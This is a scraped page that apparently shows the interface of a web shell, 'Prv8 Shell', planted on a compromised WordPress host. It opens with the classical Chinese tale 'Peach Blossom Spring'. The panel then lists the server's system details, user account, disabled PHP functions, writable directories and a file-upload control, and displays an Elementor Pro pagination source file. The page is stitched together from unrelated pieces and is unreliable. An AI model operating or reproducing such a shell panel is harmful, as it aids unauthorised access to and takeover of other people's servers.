晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/www/oldTZh/wp-content/plugins/elementor-pro/modules/posts/traits/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/rainic/www/oldTZh/wp-content/plugins/elementor-pro/modules/posts/traits/pagination-trait.php
<?php
namespace ElementorPro\Modules\Posts\Traits;

use ElementorPro\Modules\GlobalWidget\Widgets\Global_Widget;
use ElementorPro\Modules\Posts\Widgets\Posts_Base;
use ElementorPro\Plugin;

trait Pagination_Trait {
	/**
	 * Checks a set of elements if there is a posts/archive widget that may be paginated to a specific page number.
	 *
	 * @param array $elements
	 * @param       $current_page
	 *
	 * @return bool
	 */
	public function is_valid_pagination( array $elements, $current_page ) {
		$is_valid = false;
		$posts_widgets = $this->get_widgets_that_support_pagination();

		Plugin::elementor()->db->iterate_data(
			$elements,
			$this->check_pagination_handler( $posts_widgets, $current_page, $is_valid )
		);

		return $is_valid;
	}

	/**
	 * Get all widgets that may add pagination.
	 *
	 * @return array
	 */
	public function get_widgets_that_support_pagination() {
		$widgets = Plugin::elementor()->widgets_manager->get_widget_types();

		$posts_widgets = [];

		foreach ( $widgets as $widget ) {
			if ( $widget instanceof Posts_Base || $widget instanceof Global_Widget ) {
				$posts_widgets[] = $widget->get_name();
			}
		}

		return $posts_widgets;
	}

	/**
	 * @return void
	 */
	public function check_pagination_handler( array $posts_widgets, $current_page, &$is_valid ) {
		return function ( $element ) use ( &$is_valid, $posts_widgets, $current_page ) {
			if ( ! $this->is_valid_post_widget( $element, $posts_widgets ) ) {
				return;
			}

			$is_valid = $this->should_allow_pagination( $element, $current_page );
		};
	}

	/**
	 * @return bool
	 */
	private function is_valid_post_widget( $element, $posts_widgets ) {
		return isset( $element['widgetType'] ) && in_array( $element['widgetType'], $posts_widgets, true );
	}

	/**
	 * @return bool
	 */
	private function widget_has_pagination( $element ) {
		return ! empty( $element['settings']['pagination_type'] );
	}

	/**
	 * @return bool
	 */
	private function should_allow_pagination( $element, $current_page ) {
		if ( ! $this->widget_has_pagination( $element ) ) {
			return false;
		}

		$using_ajax_pagination = in_array($element['settings']['pagination_type'], [
			Posts_Base::LOAD_MORE_ON_CLICK,
			Posts_Base::LOAD_MORE_INFINITE_SCROLL,
		], true);

		if ( empty( $element['settings']['pagination_page_limit'] ) || $using_ajax_pagination ) {
			return true;
		}

		return (int) $current_page <= (int) $element['settings']['pagination_page_limit'];
	}

	public function get_base_url() {
		if ( is_page() || is_single() ) {
			// Check if it's a normal page.
			return get_permalink();
		} elseif ( is_year() ) {
			return get_year_link( get_query_var( 'year' ) );
		} elseif ( is_month() ) {
			return get_month_link( get_query_var( 'year' ), get_query_var( 'monthnum' ) );
		} elseif ( is_day() ) {
			return get_day_link( get_query_var( 'year' ), get_query_var( 'monthnum' ), get_query_var( 'day' ) );
		} elseif ( is_category() || is_tag() || is_tax() ) {
			$queried_object = get_queried_object();
			return get_term_link( $queried_object->term_id, $queried_object->taxonomy );
		} elseif ( is_author() ) {
			return get_author_posts_url( get_the_author_meta( 'ID' ) );
		} elseif ( is_search() ) {
			return get_search_link();
		} elseif ( is_archive() ) {
			// Check if it's an archive page.
			return get_post_type_archive_link( get_post_type() );
		} elseif ( is_singular() && 'post' !== get_post_type() && 'page' !== get_post_type() ) {
			// Check if it's a single post/page of a custom post type.
			$post_type = get_post_type_object( get_post_type() );

			if ( $post_type->has_archive ) {
				return get_post_type_archive_link( get_post_type() );
			} else {
				return get_permalink();
			}
		} elseif ( $this->is_posts_page() ) {
			return get_permalink( get_option( 'page_for_posts' ) );
		}

		// Fallback to home URL.
		return home_url( '/' );
	}

	/**
	 * Determines whether the query is for an existing blog posts index page
	 *
	 * @param bool $custom_page_option
	 * @return bool
	 */
	private function is_posts_page( $custom_page_option = true ) {
		if ( $custom_page_option ) {
			return ! is_front_page() && is_home();
		}

		$posts_page_id = (int) get_option( 'page_for_posts' );
		$base_url = get_query_var( 'pagination_base_url' );

		if ( ! empty( $base_url ) ) {
			$post_id = url_to_postid( $base_url );

			return $posts_page_id === $post_id;
		}

		return false;
	}
}

haha - 2025